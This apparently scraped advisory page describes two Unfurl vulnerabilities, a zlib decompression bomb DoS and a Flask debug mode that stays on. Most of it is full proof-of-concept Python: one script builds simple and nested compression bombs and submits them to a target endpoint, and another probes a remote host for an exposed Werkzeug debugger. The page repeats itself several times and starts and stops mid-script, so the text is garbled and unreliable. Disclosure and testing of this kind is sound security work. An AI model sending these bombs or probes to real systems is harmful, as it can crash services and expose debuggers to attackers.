    print(f"\n[*] Verifying bomb locally (limited test)...")
    try:
        # Only decompress a small portion to verify it's valid
        test_data = zlib.decompress(compressed, bufsize=1024*1024)  # 1MB max
        print(f"    ✅ Bomb is valid - decompresses to zeros")
    except Exception as e:
        print(f"    ❌ Error: {e}")
        sys.exit(1)

    if args.generate_only:
        print("\n[*] Generate-only mode. Not sending payload.")
        sys.exit(0)

    if not args.test:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                      SAFETY CHECK                             ║
╚═══════════════════════════════════════════════════════════════╝

To actually test this vulnerability, run with --test flag.

Manual testing:
1. Copy the payload URL from {payload_path}
2. Submit it to the target Unfurl instance
3. Monitor server memory usage

Expected behavior if vulnerable:
- Server memory usage spikes dramatically
- Request hangs or times out
- Server may crash or become unresponsive

Mitigation check:
The vulnerability is FIXED if zlib.decompress() is called with
a max_length parameter, e.g.:
    zlib.decompress(data, bufsize=10*1024*1024)  # 10MB limit
""")
        sys.exit(0)

    # Actually test (dangerous!)
    print(f"\n[!] SENDING BOMB TO {args.target}")
    print(f"[!] This may crash the target service!")
    confirm = input("    Type 'CONFIRM' to proceed: ")

    if confirm != 'CONFIRM':
        print("    Aborted.")
        sys.exit(0)

    print(f"\n[*] Submitting payload...")
    result = test_vulnerability(args.target, malicious_url, timeout=60.0)

    print(f"\n[*] Results:")
    print(f"    Timeout: {result['timeout']}")
    print(f"    Response time: {result['response_time']:.2f}s")
    print(f"    Error: {result['error']}")
    print(f"    Memory exhaustion likely: {result['memory_exhaustion_likely']}")

    if result['memory_exhaustion_likely']:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                  VULNERABILITY CONFIRMED                      ║
╚═══════════════════════════════════════════════════════════════╝

The target appears vulnerable to decompression bomb attacks.

Evidence:
- {result['error'] or 'Abnormal response observed'}

Recommendation:
Add size limits to zlib.decompress() calls:

    # Before (vulnerable):
    inflated_bytes = zlib.decompress(decoded)

    # After (fixed):
    MAX_DECOMPRESSED_SIZE = 10 * 1024 * 1024  # 10MB
    inflated_bytes = zlib.decompress(decoded, bufsize=MAX_DECOMPRESSED_SIZE)

Or use streaming decompression with size checks:

    decompressor = zlib.decompressobj()
    chunks = []
    total_size = 0
    for chunk in iter(lambda: compressed_data.read(4096), b''):
        decompressed = decompressor.decompress(chunk)
        total_size += len(decompressed)
        if total_size > MAX_SIZE:
            raise ValueError("Decompressed data too large")
        chunks.append(decompressed)
""")
    else:
        print("\n[*] Target may not be vulnerable or attack was mitigated.")


if __name__ == '__main__':
    main()

Impact

A remote, unauthenticated attacker can cause high memory usage and potentially crash the service. The impact depends on deployment limits (process memory, URL length limits, and request size limits).

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

Fixed in

20260405

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-40035 GHSA-vg9h-jx4v-cwx2 Jan 29, 2026

Unfurl's debug mode cannot be disabled due to string config parsing (Werkzeug debugger exposure)

Critical

Network Low None None

Summary

The Unfurl web app enables Flask debug mode even when configuration sets debug = False. The config value is read as a string and passed directly to app.run(debug=...), so any non-empty string evaluates truthy. This leaves the Werkzeug debugger active by default.

Details

unfurl/app.py:web_app() reads debug via config['UNFURL_APP'].get('debug'), which returns a string.
UnfurlApp.__init__ passes that string directly to app.run(debug=unfurl_debug, ...).
If unfurl.ini omits debug, the default argument is the string "True".
As a result, debug mode is effectively always on and cannot be reliably disabled via config.

PoC

Create a local unfurl.ini with debug = False under [UNFURL_APP].
Run the server using unfurl_app (or python -c 'from unfurl.app import web_app; web_app()').
Observe server logs showing Debug mode: on / Debugger is active!.
The included PoC script security_poc/poc_debug_mode.py --spawn automates this check.

PoC Script (inline)

#!/usr/bin/env python3
"""
Unfurl Debug Mode PoC (Corrected)
================================

This PoC demonstrates that Unfurl's Flask debug mode is effectively
**always enabled by default** due to string parsing of the `debug`
config value. Even `debug = False` in `unfurl.ini` evaluates truthy
when passed to `app.run(debug=...)`.

Two modes:
1) --spawn (default): launch a local Unfurl server with debug=False
   in a temp config and inspect logs for "Debug mode: on".
2) --target: attempt a remote indicator check (best-effort; may be silent
   if no exception is triggered).
"""

import argparse
import os
import subprocess
import sys
import tempfile
import textwrap
import time


def run_spawn_check() -> None:
    repo_root = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))

    ini_contents = textwrap.dedent("""
    [UNFURL_APP]
    host = 127.0.0.1
    port = 5055
    debug = False
    remote_lookups = false

    [API_KEYS]
    bitly =
    macaddress_io =
    """).strip() + "\n"

    with tempfile.TemporaryDirectory() as tmp:
        ini_path = os.path.join(tmp, 'unfurl.ini')
        with open(ini_path, 'w') as f:
            f.write(ini_contents)

        env = os.environ.copy()
        env['PYTHONPATH'] = repo_root

        cmd = [sys.executable, '-c', 'from unfurl.app import web_app; web_app()']
        proc = subprocess.Popen(
            cmd,
            cwd=tmp,
            env=env,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True
        )

        # Allow server to start and emit logs
        time.sleep(2)
        proc.terminate()
        try:
            out, err = proc.communicate(timeout=2)
        except subprocess.TimeoutExpired:
            proc.kill()
            out, err = proc.communicate()

        output = (out or "") + (err or "")

    print("\n[+] Debug mode spawn check")
    print("    Config: debug = False")

    if "Debug mode: on" in output or "Debugger is active" in output:
        print("    ✅ Debug mode is ON despite debug=False (vulnerable)")
    else:
        print("    ⚠️  Debug mode not detected in logs (check output below)")

    if output.strip():
        print("\n--- server output (truncated) ---")
        print("\n".join(output.splitlines()[:15]))
        print("--- end ---")


def run_remote_probe(target: str) -> None:
    import requests

    print("\n[+] Remote debug indicator probe (best-effort)")
    print(f"    Target: {target}")

    # This app does not easily throw exceptions from user input, so
    # absence of indicators does NOT prove debug is off.
    probe_urls = [
        f"{target.rstrip('/')}/__nonexistent__",
    ]

    detected = False
    for url in probe_urls:
        try:
            resp = requests.get(url, timeout=10)
            if "Werkzeug Debugger" in resp.text or "Traceback" in resp.text:
                detected = True
                print("    ✅ Debug indicators found")
                break
        except Exception as e:
            print(f"    ⚠️  Probe failed: {e}")

    if not detected:
        print("    ⚠️  No debug indicators found (this is not definitive)")


def main():
    parser = argparse.ArgumentParser(description='Unfurl debug mode PoC (corrected)')
    parser.add_argument('--spawn', action='store_true', help='Run local spawn check (default)')
    parser.add_argument('--target', help='Target Unfurl URL for remote probe')
    args = parser.parse_args()

    if args.target:
        run_remote_probe(args.target)
    else:
        run_spawn_check()


if __name__ == '__main__':
    main()

Impact

If the service is exposed beyond localhost (bound to 0.0.0.0 or reverse-proxied), an attacker can access the Werkzeug debugger. This can disclose sensitive information and may allow remote code execution if a debugger PIN is obtained. At minimum, stack traces and environment details are exposed on errors.

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

References

Updated Jul 08, 2026 · Source: OSV.dev

Sep 17, 2023

20230900 unknown

2 CVEs

CVE-2026-40036 PYSEC-2026-1294 GHSA-h5qv-qjv4-pc5m Jul 07, 2026

Unfurl's unbounded zlib decompression allows decompression bomb DoS

High

Network Low None None

Summary

The compressed data parser uses zlib.decompress() without a maximum output size. A small, highly compressed payload can expand to a very large output, causing memory exhaustion and denial of service.

Details

unfurl/parsers/parse_compressed.py calls zlib.decompress(decoded) with no size limit.
Inputs are accepted from URL components that match base64 patterns.
Highly compressible payloads can expand orders of magnitude larger than their compressed size.

PoC

Generate a payload with security_poc/poc_decompression_bomb.py --generate-only.
The script creates a base64-encoded zlib payload embedded in a URL.
Submitting the URL to /json/visjs can cause the server to allocate large amounts of memory.
The script includes a --test mode but warns it can crash the service.

PoC Script

#!/usr/bin/env python3
"""
Unfurl Decompression Bomb Proof of Concept
==========================================

This PoC demonstrates a Denial of Service vulnerability in Unfurl's
compressed data parsing. The zlib.decompress() call has no size limits,
allowing an attacker to submit small payloads that expand to gigabytes.

Vulnerability Location:
- parse_compressed.py:81-82:
    inflated_bytes = zlib.decompress(decoded)  # No maxsize parameter

Attack Impact:
- Memory exhaustion
- Service crash
- Resource consumption (cloud cost attacks)

Usage:
    python poc_decompression_bomb.py [--target URL] [--size SIZE_MB]
"""

import argparse
import base64
import os
import zlib
import requests
import sys
import time


def create_compression_bomb(target_size_mb: int = 100) -> bytes:
    """
    Create a compression bomb - small compressed data that expands to target_size_mb.

    Compression ratio for zeros can be ~1000:1 or better.
    A 1KB compressed payload can expand to ~1MB.
    A 100KB payload can expand to ~100MB.
    """
    # Create highly compressible data (all zeros)
    target_bytes = target_size_mb * 1024 * 1024
    uncompressed = b'\x00' * target_bytes

    # Compress with maximum compression
    compressed = zlib.compress(uncompressed, 9)

    compression_ratio = len(uncompressed) / len(compressed)

    print(f"[*] Created compression bomb:")
    print(f"    Compressed size: {len(compressed):,} bytes ({len(compressed)/1024:.2f} KB)")
    print(f"    Uncompressed size: {len(uncompressed):,} bytes ({target_size_mb} MB)")
    print(f"    Compression ratio: {compression_ratio:.0f}:1")

    return compressed


def create_nested_bomb(levels: int = 3, base_size_mb: int = 10) -> bytes:
    """
    Create a nested compression bomb (zip bomb style).
    Each level multiplies the final size.

    Warning: This can create VERY large expansions.
    3 levels with 10MB base = 10^3 = 1GB
    4 levels with 10MB base = 10^4 = 10GB
    """
    print(f"[*] Creating nested bomb with {levels} levels, {base_size_mb}MB base")

    # Start with base payload
    data = b'\x00' * (base_size_mb * 1024 * 1024)

    for level in range(levels):
        data = zlib.compress(data, 9)
        print(f"    Level {level + 1}: {len(data):,} bytes")

    theoretical_size = base_size_mb * (1000 ** levels)  # Rough estimate
    print(f"[*] Theoretical expanded size: ~{theoretical_size} MB")

    return data


def create_recursive_quine_bomb() -> bytes:
    """
    Create a recursive decompression scenario.
    When decompressed, the output is valid zlib that can be decompressed again.

    This exploits any recursive decompression logic.
    """
    # This is a simplified version - real quine bombs are more complex
    # The concept: output when decompressed is also valid compressed data

    # Create a pattern that when decompressed resembles compressed data
    # This is primarily theoretical for this vulnerability
    base = b'x\x9c' + (b'\x00' * 1000)  # Fake zlib header + zeros
    return zlib.compress(base * 1000, 9)


def encode_for_unfurl(compressed: bytes) -> str:
    """
    Encode compressed data as base64 for URL inclusion.
    Unfurl's parse_compressed.py will:
    1. Detect base64 pattern
    2. Decode base64
    3. Attempt zlib.decompress() without size limit
    """
    return base64.b64encode(compressed).decode('ascii')


def create_malicious_url(payload: str) -> str:
    """
    Create a URL containing the bomb payload.
    Multiple injection points are possible.
    """
    # As a query parameter value
    return f"https://example.com/page?data={payload}"


def test_vulnerability(target_url: str, payload_url: str, timeout: float = 30.0) -> dict:
    """
    Submit bomb to Unfurl and monitor for DoS indicators.
    """
    api_url = f"{target_url}/json/visjs"
    params = {'url': payload_url}

    result = {
        'submitted': True,
        'timeout': False,
        'error': None,
        'response_time': 0,
        'memory_exhaustion_likely': False
    }

    try:
        start = time.time()
        response = requests.get(api_url, params=params, timeout=timeout)
        result['response_time'] = time.time() - start
        result['status_code'] = response.status_code

        # Check for error responses indicating resource issues
        if response.status_code == 500:
            result['error'] = 'Server error - possible memory exhaustion'
            result['memory_exhaustion_likely'] = True
        elif response.status_code == 503:
            result['error'] = 'Service unavailable - DoS successful'
            result['memory_exhaustion_likely'] = True

    except requests.exceptions.Timeout:
        result['timeout'] = True
        result['error'] = f'Request timed out after {timeout}s - possible DoS'
        result['memory_exhaustion_likely'] = True
    except requests.exceptions.ConnectionError as e:
        result['error'] = f'Connection error: {e} - server may have crashed'
        result['memory_exhaustion_likely'] = True
    except Exception as e:
        result['error'] = str(e)

    return result


def main():
    parser = argparse.ArgumentParser(description='Unfurl Decompression Bomb PoC')
    parser.add_argument('--target', default='http://localhost:5000',
                        help='Target Unfurl instance URL')
    parser.add_argument('--size', type=int, default=100,
                        help='Target decompressed size in MB')
    parser.add_argument('--nested', type=int, default=0,
                        help='Nesting levels for nested bomb (0 = simple bomb)')
    parser.add_argument('--test', action='store_true',
                        help='Actually send the bomb (DANGEROUS)')
    parser.add_argument('--generate-only', action='store_true',
                        help='Only generate payload, do not send')
    parser.add_argument('--output', help='Save payload to file')
    args = parser.parse_args()

    print(f"""
╔═══════════════════════════════════════════════════════════════╗
║           UNFURL DECOMPRESSION BOMB PROOF OF CONCEPT          ║
╠═══════════════════════════════════════════════════════════════╣
║  Target:        {args.target:<45} ║
║  Expanded Size: {args.size:<45} MB ║
║  Nested Levels: {args.nested:<45} ║
╚═══════════════════════════════════════════════════════════════╝
""")

    # Generate the bomb
    if args.nested > 0:
        print(f"\n[!] Creating NESTED bomb - theoretical size could be enormous!")
        print(f"    Be very careful with nested levels > 2")
        if args.nested > 3:
            print(f"[!] {args.nested} levels could produce terabytes of data!")
            confirm = input("    Continue? (yes/no): ")
            if confirm.lower() != 'yes':
                sys.exit(0)
        compressed = create_nested_bomb(args.nested, args.size // (10 ** args.nested) or 1)
    else:
        compressed = create_compression_bomb(args.size)

    # Encode for URL
    b64_payload = encode_for_unfurl(compressed)
    malicious_url = create_malicious_url(b64_payload)

    print(f"\n[*] Payload Statistics:")
    print(f"    Compressed size: {len(compressed):,} bytes")
    print(f"    Base64 size: {len(b64_payload):,} bytes")
    print(f"    URL length: {len(malicious_url):,} bytes")

    # Save payload if requested
    if args.output:
        with open(args.output, 'w') as f:
            f.write(malicious_url)
        print(f"\n[+] Payload saved to: {args.output}")

    # Display truncated payload
    print(f"\n[*] Malicious URL (truncated):")
    print(f"    {malicious_url[:100]}...")
    print(f"    (Full URL is {len(malicious_url):,} characters)")

    # Save full payload for reference
    script_dir = os.path.dirname(os.path.abspath(__file__))
    payload_path = os.path.join(script_dir, 'bomb_payload.txt')
    with open(payload_path, 'w') as f:
        f.write(malicious_url)
    print(f"\n[+] Full payload saved to: {payload_path}")

    # Verify the bomb works locally
    print(f"\n[*] Verifying bomb locally (limited test)...")
    try:
        # Only decompress a small portion to verify it's valid
        test_data = zlib.decompress(compressed, bufsize=1024*1024)  # 1MB max
        print(f"    ✅ Bomb is valid - decompresses to zeros")
    except Exception as e:
        print(f"    ❌ Error: {e}")
        sys.exit(1)

    if args.generate_only:
        print("\n[*] Generate-only mode. Not sending payload.")
        sys.exit(0)

    if not args.test:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                      SAFETY CHECK                             ║
╚═══════════════════════════════════════════════════════════════╝

To actually test this vulnerability, run with --test flag.

Manual testing:
1. Copy the payload URL from {payload_path}
2. Submit it to the target Unfurl instance
3. Monitor server memory usage

Expected behavior if vulnerable:
- Server memory usage spikes dramatically
- Request hangs or times out
- Server may crash or become unresponsive

Mitigation check:
The vulnerability is FIXED if zlib.decompress() is called with
a max_length parameter, e.g.:
    zlib.decompress(data, bufsize=10*1024*1024)  # 10MB limit
""")
        sys.exit(0)

    # Actually test (dangerous!)
    print(f"\n[!] SENDING BOMB TO {args.target}")
    print(f"[!] This may crash the target service!")
    confirm = input("    Type 'CONFIRM' to proceed: ")

    if confirm != 'CONFIRM':
        print("    Aborted.")
        sys.exit(0)

    print(f"\n[*] Submitting payload...")
    result = test_vulnerability(args.target, malicious_url, timeout=60.0)

    print(f"\n[*] Results:")
    print(f"    Timeout: {result['timeout']}")
    print(f"    Response time: {result['response_time']:.2f}s")
    print(f"    Error: {result['error']}")
    print(f"    Memory exhaustion likely: {result['memory_exhaustion_likely']}")

    if result['memory_exhaustion_likely']:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                  VULNERABILITY CONFIRMED                      ║
╚═══════════════════════════════════════════════════════════════╝

The target appears vulnerable to decompression bomb attacks.

Evidence:
- {result['error'] or 'Abnormal response observed'}

Recommendation:
Add size limits to zlib.decompress() calls:

    # Before (vulnerable):
    inflated_bytes = zlib.decompress(decoded)

    # After (fixed):
    MAX_DECOMPRESSED_SIZE = 10 * 1024 * 1024  # 10MB
    inflated_bytes = zlib.decompress(decoded, bufsize=MAX_DECOMPRESSED_SIZE)

Or use streaming decompression with size checks:

    decompressor = zlib.decompressobj()
    chunks = []
    total_size = 0
    for chunk in iter(lambda: compressed_data.read(4096), b''):
        decompressed = decompressor.decompress(chunk)
        total_size += len(decompressed)
        if total_size > MAX_SIZE:
            raise ValueError("Decompressed data too large")
        chunks.append(decompressed)
""")
    else:
        print("\n[*] Target may not be vulnerable or attack was mitigated.")


if __name__ == '__main__':
    main()

Impact

A remote, unauthenticated attacker can cause high memory usage and potentially crash the service. The impact depends on deployment limits (process memory, URL length limits, and request size limits).

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

Fixed in

20260405

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-40035 GHSA-vg9h-jx4v-cwx2 Jan 29, 2026

Unfurl's debug mode cannot be disabled due to string config parsing (Werkzeug debugger exposure)

Critical

Network Low None None

Summary

The Unfurl web app enables Flask debug mode even when configuration sets debug = False. The config value is read as a string and passed directly to app.run(debug=...), so any non-empty string evaluates truthy. This leaves the Werkzeug debugger active by default.

Details

unfurl/app.py:web_app() reads debug via config['UNFURL_APP'].get('debug'), which returns a string.
UnfurlApp.__init__ passes that string directly to app.run(debug=unfurl_debug, ...).
If unfurl.ini omits debug, the default argument is the string "True".
As a result, debug mode is effectively always on and cannot be reliably disabled via config.

PoC

Create a local unfurl.ini with debug = False under [UNFURL_APP].
Run the server using unfurl_app (or python -c 'from unfurl.app import web_app; web_app()').
Observe server logs showing Debug mode: on / Debugger is active!.
The included PoC script security_poc/poc_debug_mode.py --spawn automates this check.

PoC Script (inline)

#!/usr/bin/env python3
"""
Unfurl Debug Mode PoC (Corrected)
================================

This PoC demonstrates that Unfurl's Flask debug mode is effectively
**always enabled by default** due to string parsing of the `debug`
config value. Even `debug = False` in `unfurl.ini` evaluates truthy
when passed to `app.run(debug=...)`.

Two modes:
1) --spawn (default): launch a local Unfurl server with debug=False
   in a temp config and inspect logs for "Debug mode: on".
2) --target: attempt a remote indicator check (best-effort; may be silent
   if no exception is triggered).
"""

import argparse
import os
import subprocess
import sys
import tempfile
import textwrap
import time


def run_spawn_check() -> None:
    repo_root = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))

    ini_contents = textwrap.dedent("""
    [UNFURL_APP]
    host = 127.0.0.1
    port = 5055
    debug = False
    remote_lookups = false

    [API_KEYS]
    bitly =
    macaddress_io =
    """).strip() + "\n"

    with tempfile.TemporaryDirectory() as tmp:
        ini_path = os.path.join(tmp, 'unfurl.ini')
        with open(ini_path, 'w') as f:
            f.write(ini_contents)

        env = os.environ.copy()
        env['PYTHONPATH'] = repo_root

        cmd = [sys.executable, '-c', 'from unfurl.app import web_app; web_app()']
        proc = subprocess.Popen(
            cmd,
            cwd=tmp,
            env=env,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True
        )

        # Allow server to start and emit logs
        time.sleep(2)
        proc.terminate()
        try:
            out, err = proc.communicate(timeout=2)
        except subprocess.TimeoutExpired:
            proc.kill()
            out, err = proc.communicate()

        output = (out or "") + (err or "")

    print("\n[+] Debug mode spawn check")
    print("    Config: debug = False")

    if "Debug mode: on" in output or "Debugger is active" in output:
        print("    ✅ Debug mode is ON despite debug=False (vulnerable)")
    else:
        print("    ⚠️  Debug mode not detected in logs (check output below)")

    if output.strip():
        print("\n--- server output (truncated) ---")
        print("\n".join(output.splitlines()[:15]))
        print("--- end ---")


def run_remote_probe(target: str) -> None:
    import requests

    print("\n[+] Remote debug indicator probe (best-effort)")
    print(f"    Target: {target}")

    # This app does not easily throw exceptions from user input, so
    # absence of indicators does NOT prove debug is off.
    probe_urls = [
        f"{target.rstrip('/')}/__nonexistent__",
    ]

    detected = False
    for url in probe_urls:
        try:
            resp = requests.get(url, timeout=10)
            if "Werkzeug Debugger" in resp.text or "Traceback" in resp.text:
                detected = True
                print("    ✅ Debug indicators found")
                break
        except Exception as e:
            print(f"    ⚠️  Probe failed: {e}")

    if not detected:
        print("    ⚠️  No debug indicators found (this is not definitive)")


def main():
    parser = argparse.ArgumentParser(description='Unfurl debug mode PoC (corrected)')
    parser.add_argument('--spawn', action='store_true', help='Run local spawn check (default)')
    parser.add_argument('--target', help='Target Unfurl URL for remote probe')
    args = parser.parse_args()

    if args.target:
        run_remote_probe(args.target)
    else:
        run_spawn_check()


if __name__ == '__main__':
    main()

Impact

If the service is exposed beyond localhost (bound to 0.0.0.0 or reverse-proxied), an attacker can access the Werkzeug debugger. This can disclose sensitive information and may allow remote code execution if a debugger PIN is obtained. At minimum, stack traces and environment details are exposed on errors.

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

References

Updated Jul 08, 2026 · Source: OSV.dev

Sep 17, 2023

20221100 unknown

2 CVEs

CVE-2026-40036 PYSEC-2026-1294 GHSA-h5qv-qjv4-pc5m Jul 07, 2026

Unfurl's unbounded zlib decompression allows decompression bomb DoS

High

Network Low None None

Summary

The compressed data parser uses zlib.decompress() without a maximum output size. A small, highly compressed payload can expand to a very large output, causing memory exhaustion and denial of service.

Details

unfurl/parsers/parse_compressed.py calls zlib.decompress(decoded) with no size limit.
Inputs are accepted from URL components that match base64 patterns.
Highly compressible payloads can expand orders of magnitude larger than their compressed size.

PoC

Generate a payload with security_poc/poc_decompression_bomb.py --generate-only.
The script creates a base64-encoded zlib payload embedded in a URL.
Submitting the URL to /json/visjs can cause the server to allocate large amounts of memory.
The script includes a --test mode but warns it can crash the service.

PoC Script

#!/usr/bin/env python3
"""
Unfurl Decompression Bomb Proof of Concept
==========================================

This PoC demonstrates a Denial of Service vulnerability in Unfurl's
compressed data parsing. The zlib.decompress() call has no size limits,
allowing an attacker to submit small payloads that expand to gigabytes.

Vulnerability Location:
- parse_compressed.py:81-82:
    inflated_bytes = zlib.decompress(decoded)  # No maxsize parameter

Attack Impact:
- Memory exhaustion
- Service crash
- Resource consumption (cloud cost attacks)

Usage:
    python poc_decompression_bomb.py [--target URL] [--size SIZE_MB]
"""

import argparse
import base64
import os
import zlib
import requests
import sys
import time


def create_compression_bomb(target_size_mb: int = 100) -> bytes:
    """
    Create a compression bomb - small compressed data that expands to target_size_mb.

    Compression ratio for zeros can be ~1000:1 or better.
    A 1KB compressed payload can expand to ~1MB.
    A 100KB payload can expand to ~100MB.
    """
    # Create highly compressible data (all zeros)
    target_bytes = target_size_mb * 1024 * 1024
    uncompressed = b'\x00' * target_bytes

    # Compress with maximum compression
    compressed = zlib.compress(uncompressed, 9)

    compression_ratio = len(uncompressed) / len(compressed)

    print(f"[*] Created compression bomb:")
    print(f"    Compressed size: {len(compressed):,} bytes ({len(compressed)/1024:.2f} KB)")
    print(f"    Uncompressed size: {len(uncompressed):,} bytes ({target_size_mb} MB)")
    print(f"    Compression ratio: {compression_ratio:.0f}:1")

    return compressed


def create_nested_bomb(levels: int = 3, base_size_mb: int = 10) -> bytes:
    """
    Create a nested compression bomb (zip bomb style).
    Each level multiplies the final size.

    Warning: This can create VERY large expansions.
    3 levels with 10MB base = 10^3 = 1GB
    4 levels with 10MB base = 10^4 = 10GB
    """
    print(f"[*] Creating nested bomb with {levels} levels, {base_size_mb}MB base")

    # Start with base payload
    data = b'\x00' * (base_size_mb * 1024 * 1024)

    for level in range(levels):
        data = zlib.compress(data, 9)
        print(f"    Level {level + 1}: {len(data):,} bytes")

    theoretical_size = base_size_mb * (1000 ** levels)  # Rough estimate
    print(f"[*] Theoretical expanded size: ~{theoretical_size} MB")

    return data


def create_recursive_quine_bomb() -> bytes:
    """
    Create a recursive decompression scenario.
    When decompressed, the output is valid zlib that can be decompressed again.

    This exploits any recursive decompression logic.
    """
    # This is a simplified version - real quine bombs are more complex
    # The concept: output when decompressed is also valid compressed data

    # Create a pattern that when decompressed resembles compressed data
    # This is primarily theoretical for this vulnerability
    base = b'x\x9c' + (b'\x00' * 1000)  # Fake zlib header + zeros
    return zlib.compress(base * 1000, 9)


def encode_for_unfurl(compressed: bytes) -> str:
    """
    Encode compressed data as base64 for URL inclusion.
    Unfurl's parse_compressed.py will:
    1. Detect base64 pattern
    2. Decode base64
    3. Attempt zlib.decompress() without size limit
    """
    return base64.b64encode(compressed).decode('ascii')


def create_malicious_url(payload: str) -> str:
    """
    Create a URL containing the bomb payload.
    Multiple injection points are possible.
    """
    # As a query parameter value
    return f"https://example.com/page?data={payload}"


def test_vulnerability(target_url: str, payload_url: str, timeout: float = 30.0) -> dict:
    """
    Submit bomb to Unfurl and monitor for DoS indicators.
    """
    api_url = f"{target_url}/json/visjs"
    params = {'url': payload_url}

    result = {
        'submitted': True,
        'timeout': False,
        'error': None,
        'response_time': 0,
        'memory_exhaustion_likely': False
    }

    try:
        start = time.time()
        response = requests.get(api_url, params=params, timeout=timeout)
        result['response_time'] = time.time() - start
        result['status_code'] = response.status_code

        # Check for error responses indicating resource issues
        if response.status_code == 500:
            result['error'] = 'Server error - possible memory exhaustion'
            result['memory_exhaustion_likely'] = True
        elif response.status_code == 503:
            result['error'] = 'Service unavailable - DoS successful'
            result['memory_exhaustion_likely'] = True

    except requests.exceptions.Timeout:
        result['timeout'] = True
        result['error'] = f'Request timed out after {timeout}s - possible DoS'
        result['memory_exhaustion_likely'] = True
    except requests.exceptions.ConnectionError as e:
        result['error'] = f'Connection error: {e} - server may have crashed'
        result['memory_exhaustion_likely'] = True
    except Exception as e:
        result['error'] = str(e)

    return result


def main():
    parser = argparse.ArgumentParser(description='Unfurl Decompression Bomb PoC')
    parser.add_argument('--target', default='http://localhost:5000',
                        help='Target Unfurl instance URL')
    parser.add_argument('--size', type=int, default=100,
                        help='Target decompressed size in MB')
    parser.add_argument('--nested', type=int, default=0,
                        help='Nesting levels for nested bomb (0 = simple bomb)')
    parser.add_argument('--test', action='store_true',
                        help='Actually send the bomb (DANGEROUS)')
    parser.add_argument('--generate-only', action='store_true',
                        help='Only generate payload, do not send')
    parser.add_argument('--output', help='Save payload to file')
    args = parser.parse_args()

    print(f"""
╔═══════════════════════════════════════════════════════════════╗
║           UNFURL DECOMPRESSION BOMB PROOF OF CONCEPT          ║
╠═══════════════════════════════════════════════════════════════╣
║  Target:        {args.target:<45} ║
║  Expanded Size: {args.size:<45} MB ║
║  Nested Levels: {args.nested:<45} ║
╚═══════════════════════════════════════════════════════════════╝
""")

    # Generate the bomb
    if args.nested > 0:
        print(f"\n[!] Creating NESTED bomb - theoretical size could be enormous!")
        print(f"    Be very careful with nested levels > 2")
        if args.nested > 3:
            print(f"[!] {args.nested} levels could produce terabytes of data!")
            confirm = input("    Continue? (yes/no): ")
            if confirm.lower() != 'yes':
                sys.exit(0)
        compressed = create_nested_bomb(args.nested, args.size // (10 ** args.nested) or 1)
    else:
        compressed = create_compression_bomb(args.size)

    # Encode for URL
    b64_payload = encode_for_unfurl(compressed)
    malicious_url = create_malicious_url(b64_payload)

    print(f"\n[*] Payload Statistics:")
    print(f"    Compressed size: {len(compressed):,} bytes")
    print(f"    Base64 size: {len(b64_payload):,} bytes")
    print(f"    URL length: {len(malicious_url):,} bytes")

    # Save payload if requested
    if args.output:
        with open(args.output, 'w') as f:
            f.write(malicious_url)
        print(f"\n[+] Payload saved to: {args.output}")

    # Display truncated payload
    print(f"\n[*] Malicious URL (truncated):")
    print(f"    {malicious_url[:100]}...")
    print(f"    (Full URL is {len(malicious_url):,} characters)")

    # Save full payload for reference
    script_dir = os.path.dirname(os.path.abspath(__file__))
    payload_path = os.path.join(script_dir, 'bomb_payload.txt')
    with open(payload_path, 'w') as f:
        f.write(malicious_url)
    print(f"\n[+] Full payload saved to: {payload_path}")

    # Verify the bomb works locally
    print(f"\n[*] Verifying bomb locally (limited test)...")
    try:
        # Only decompress a small portion to verify it's valid
        test_data = zlib.decompress(compressed, bufsize=1024*1024)  # 1MB max
        print(f"    ✅ Bomb is valid - decompresses to zeros")
    except Exception as e:
        print(f"    ❌ Error: {e}")
        sys.exit(1)

    if args.generate_only:
        print("\n[*] Generate-only mode. Not sending payload.")
        sys.exit(0)

    if not args.test:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                      SAFETY CHECK                             ║
╚═══════════════════════════════════════════════════════════════╝

To actually test this vulnerability, run with --test flag.

Manual testing:
1. Copy the payload URL from {payload_path}
2. Submit it to the target Unfurl instance
3. Monitor server memory usage

Expected behavior if vulnerable:
- Server memory usage spikes dramatically
- Request hangs or times out
- Server may crash or become unresponsive

Mitigation check:
The vulnerability is FIXED if zlib.decompress() is called with
a max_length parameter, e.g.:
    zlib.decompress(data, bufsize=10*1024*1024)  # 10MB limit
""")
        sys.exit(0)

    # Actually test (dangerous!)
    print(f"\n[!] SENDING BOMB TO {args.target}")
    print(f"[!] This may crash the target service!")
    confirm = input("    Type 'CONFIRM' to proceed: ")

    if confirm != 'CONFIRM':
        print("    Aborted.")
        sys.exit(0)

    print(f"\n[*] Submitting payload...")
    result = test_vulnerability(args.target, malicious_url, timeout=60.0)

    print(f"\n[*] Results:")
    print(f"    Timeout: {result['timeout']}")
    print(f"    Response time: {result['response_time']:.2f}s")
    print(f"    Error: {result['error']}")
    print(f"    Memory exhaustion likely: {result['memory_exhaustion_likely']}")

    if result['memory_exhaustion_likely']:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                  VULNERABILITY CONFIRMED                      ║
╚═══════════════════════════════════════════════════════════════╝

The target appears vulnerable to decompression bomb attacks.

Evidence:
- {result['error'] or 'Abnormal response observed'}

Recommendation:
Add size limits to zlib.decompress() calls:

    # Before (vulnerable):
    inflated_bytes = zlib.decompress(decoded)

    # After (fixed):
    MAX_DECOMPRESSED_SIZE = 10 * 1024 * 1024  # 10MB
